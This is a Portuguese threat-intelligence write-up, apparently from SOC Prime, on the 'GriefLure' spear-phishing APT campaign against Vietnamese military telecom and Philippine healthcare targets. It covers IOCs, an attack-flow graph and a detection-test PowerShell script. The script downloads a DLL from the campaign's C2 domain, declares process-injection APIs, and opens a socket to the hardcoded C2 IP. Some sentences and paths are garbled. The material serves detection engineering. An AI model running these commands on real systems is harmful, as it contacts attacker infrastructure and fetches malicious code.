SOC Prime Bias: Crítico

08 Mai 2026 18:40

Operação GriefLure: Dissecando uma Campanha APT que Ataca o Setor de Telecomunicações Militares do Vietnã e a Saúde das Filipinas

Author Photo
SOC Prime Team linkedin icon Seguir
Operação GriefLure: Dissecando uma Campanha APT que Ataca o Setor de Telecomunicações Militares do Vietnã e a Saúde das Filipinas
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O Seqrite Labs identificou uma campanha de spear-phishing direcionada que dependia de arquivos maliciosos Windows LNK ocultos dentro de arquivos RAR duplamente compactados. Quando abertos, os LNKs iniciavam um ftp.exe carregador que reconstruía um payload polimórfico chamado sfsvc.exe a partir de .doc fragmentados armazenados na máquina da vítima. A atividade tinha como alvo executivos seniores do setor de telecomunicações controlado pelo exército do Vietnã e funcionários de um hospital privado nas Filipinas, utilizando documentos que pareciam legítimos como isca. Toda a cadeia de infecção era completada em menos de dez segundos e deixava apenas artefatos mínimos no disco.

Investigação

A investigação detalhou a estrutura do arquivo, mapeou o caminho de execução do LNK e fez a engenharia reversa do sfsvc.exe carregador personalizado, que foi projetado para se assemelhar ao regsvr32.exe. Os analistas documentaram o carregamento de DLL de modo indireto, execução de shellcode em memória, injeção de processos e comunicações de comando e controle através de um domínio disfarçado. A revisão dos artefatos também revelou um domínio C2 codificado, www.whatsappcenter.com, hospedado através de um provedor blindado em Hong Kong.

Mitigação

Defensores devem bloquear a execução de arquivos LNK entregues via anexos de email e monitorar o uso do ftp.exe com argumentos de linha de comando suspeitos. A detecção em endpoint deve focar em carregamento de DLLs sem arquivos, gravações de fluxo de dados alternativo em C:UsersPublicUpdate, e rápida criação de sfsvc.exe. As organizações também devem fortalecer as verificações de proveniência de documentos e educar os usuários sobre iscas que parecem ser arquivos legais legítimos ou relacionados a denúncias.

Resposta

Se o LNK malicioso ou sfsvc.exe processo for detectado, isole imediatamente o endpoint afetado, colete a memória volátil e procure por 360.*.dll arquivos de carregadores e artefatos de fluxos de dados alternativos. O domínio de comando e controle identificado e o endereço IP relacionado devem ser bloqueados, e a resposta a incidentes deve começar para determinar se algum dado foi exfiltrado. Uma busca mais ampla também deve ser conduzida para atividades semelhantes impulsionadas por LNKs no ambiente. ftp.exe loader activity across the environment.

graph TB %% Definições de classes classDef action fill:#c2e0ff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef file fill:#d0ffd0 classDef malware fill:#ff9999 classDef c2 fill:#ffb3e6 %% Nós – Fluxo de ataque attack_initial_access[“<b>Ação</b> – <b>T1566.001 Spearphishing com Anexo</b><br/>A vítima recebe um arquivo RAR duplamente compactado com um ficheiro LNK malicioso”] class attack_initial_access action artifact_rar[“<b>Ficheiro</b> – Arquivo RAR<br/>Contém um documento legal aparentemente legítimo e um LNK malicioso”] class artifact_rar file artifact_lnk[“<b>Ficheiro</b> – LNK malicioso<br/>Extensão dupla (ex: document.lnk.rar) para evasão de deteção”] class artifact_lnk file tool_ftp[“<b>Ferramenta</b> – ftp.exe (Binário do sistema Windows)<br/>Usado como proxy para executar o script batch oculto”] class tool_ftp tool process_batch[“<b>Processo</b> – Script Batch<br/>Executa copy /b para reconstruir o payload em sfsvc.exe e 360.dll”] class process_batch process file_sfsvc_exe[“<b>Ficheiro</b> – sfsvc.exe<br/>Executável final do payload criado a partir de fragmentos”] class file_sfsvc_exe file file_360dll[“<b>Ficheiro</b> – 360.dll<br/>DLL polimórfica usada para side-loading e entrega de shellcode”] class file_360dll file action_modify_path[“<b>Ação</b> – <b>T1574.007 Modificação de Variáveis de Ambiente (PATH)</b><br/>Adiciona C:\\Users\\Public\\Update ao PATH para persistência”] class action_modify_path action action_dll_side_load[“<b>Ação</b> – <b>T1574.002 DLL Side-Loading</b> & <b>T1546.009 Execução AppCert DLL</b><br/>sfsvc.exe carrega 360.dll via /calldll e DllRegisterServer”] class action_dll_side_load action process_explorer[“<b>Processo</b> – explorer.exe<br/>Processo alvo para injeção de DLL”] class process_explorer process action_process_injection[“<b>Ação</b> – <b>T1055.001 Injeção de DLL</b><br/>360.dll injeta shellcode de segunda fase em explorer.exe”] class action_process_injection action action_discovery[“<b>Ação</b> – <b>T1057 Descoberta de Processos</b> & <b>T1518.001 Descoberta de Software de Segurança</b><br/>Enumera processos em execução e software de segurança instalado”] class action_discovery action action_cred_access[“<b>Ação</b> – <b>T1555.003 Credenciais de Navegadores</b> & <b>T1552.001 Credenciais em Ficheiros</b><br/>Roubo de passwords, cookies e ficheiros de configuração”] class action_cred_access action action_collection[“<b>Ação</b> – <b>T1113 Captura de Ecrã</b> & <b>T1083 Descoberta de Ficheiros e Diretórios</b><br/>Recolha de capturas de ecrã e listagens de diretórios”] class action_collection action action_exfiltration[“<b>Ação</b> – <b>T1071.001 HTTPS</b> & <b>T1573 Canal Ofuscado/Cifrado</b><br/>Dados enviados ao servidor C2 via HTTPS codificado em XOR”] class action_exfiltration action c2_server[“<b>Servidor C2</b> – www.whatsappcenter.com<br/>Recebe os dados exfiltrados”] class c2_server c2 %% Ligações attack_initial_access –>|entrega| artifact_rar artifact_rar –>|contém| artifact_lnk artifact_lnk –>|invoca| tool_ftp tool_ftp –>|executa| process_batch process_batch –>|cria| file_sfsvc_exe process_batch –>|cria| file_360dll file_sfsvc_exe –>|ativa| action_modify_path action_modify_path –>|permite| action_dll_side_load file_360dll –>|carregado por| action_dll_side_load action_dll_side_load –>|injeta em| process_explorer process_explorer –>|alvo de| action_process_injection action_process_injection –>|ativa| action_discovery action_discovery –>|alimenta| action_cred_access action_cred_access –>|fornece dados a| action_collection action_collection –>|leva a| action_exfiltration action_exfiltration –>|envia dados para| c2_server

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Verificação de Pré-voo de Telemetria & Linha de Base deve ter sido aprovada.

Racional: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos errados.

  • Narrativa do Ataque & Comandos:
    O atacante, tendo obtido acesso inicial através de um anexo de phishing (T1566.001, T1204.002), opta por uma abordagem de living‑off‑the‑land para evitar payloads executáveis. Usando o cmd.exe (embutido (), eles lançam um comando PowerShell de uma linha que executa os seguintes passos:

    1. Descoberta – enumerar informações do sistema (T1082) e processos em execução (T1057) para decidir sobre um alvo de injeção adequado.
    2. Coleta de Credenciais – ler armazenamentos de navegador (T1555.003) e despejar arquivos de credenciais (T1552.001) para uma pasta de preparação.
    3. Recuperação de Payload – baixar uma DLL maliciosa do domínio C2 www.whatsappcenter.com via HTTPS (T1071.001, T1041).
    4. ) Injeção de Processo – injetar a DLL em (– injetar a DLL empara obter persistência e elevar privilégios.
    5. Comunicação C2 – abrir uma conexão TCP persistente para 38.54.122.188 (o IP codificado) e começar a exfiltrar os dados coletados.

    O passo crítico que satisfaz a regra Sigma é a tentativa de conexão de saída para o domínio/IP exato, que será registrado pelo Sysmon e pelo firewall do Windows.

  • Script de Teste de Regressão:

    # -------------------------------------------------
    # Simulação de C2 do GriefLure – versão PowerShell
    # -------------------------------------------------
    # 1. Descoberta do Sistema (T1082, T1057)
    Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null
    Get-Process | Select-Object -First 5 | Out-Null
    
    # 2. Simular coleta de credenciais (T1555.003, T1552.001)
    $credStaging = "$env:TEMPcreds.txt"
    "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging
    
    # 3. Baixar DLL maliciosa do domínio C2 codificado (T1071.001, T1041)
    $c2Domain = "www.whatsappcenter.com"
    $c2Url = "https://$c2Domain/payload.dll"
    $dllPath = "$env:TEMPpayload.dll"
    Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing
    
    # 4. Injetar DLL em explorer.exe (T1055.001)
    $target = (Get-Process -Name explorer).Id
    $inject = @"
    using System;
    using System.Runtime.InteropServices;
    public class Injector {
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
    "@
    Add-Type $inject
    # (Os passos reais de injeção são omitidos por brevidade; em um teste real você chamaria as APIs acima.)
    
    # 5. Abrir socket C2 persistente para o IP codificado (T1041)
    $c2Ip = "38.54.122.188"
    $port = 443
    $client = New-Object System.Net.Sockets.TcpClient
    $client.Connect($c2Ip, $port)
    $stream = $client.GetStream()
    $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START")
    $stream.Write($payload,0,$payload.Length)
    Start-Sleep -Seconds 5
    $stream.Close()
    $client.Close()
  • Comandos de Limpeza:

    # Remover arquivos preparados
    Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue
    
    # Fechar quaisquer conexões TCP restantes (se ainda estiverem abertas)
    Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 |
      ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # Opcionalmente redefinir o buffer do Sysmon (para um estado limpo em testes repetidos)
    & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml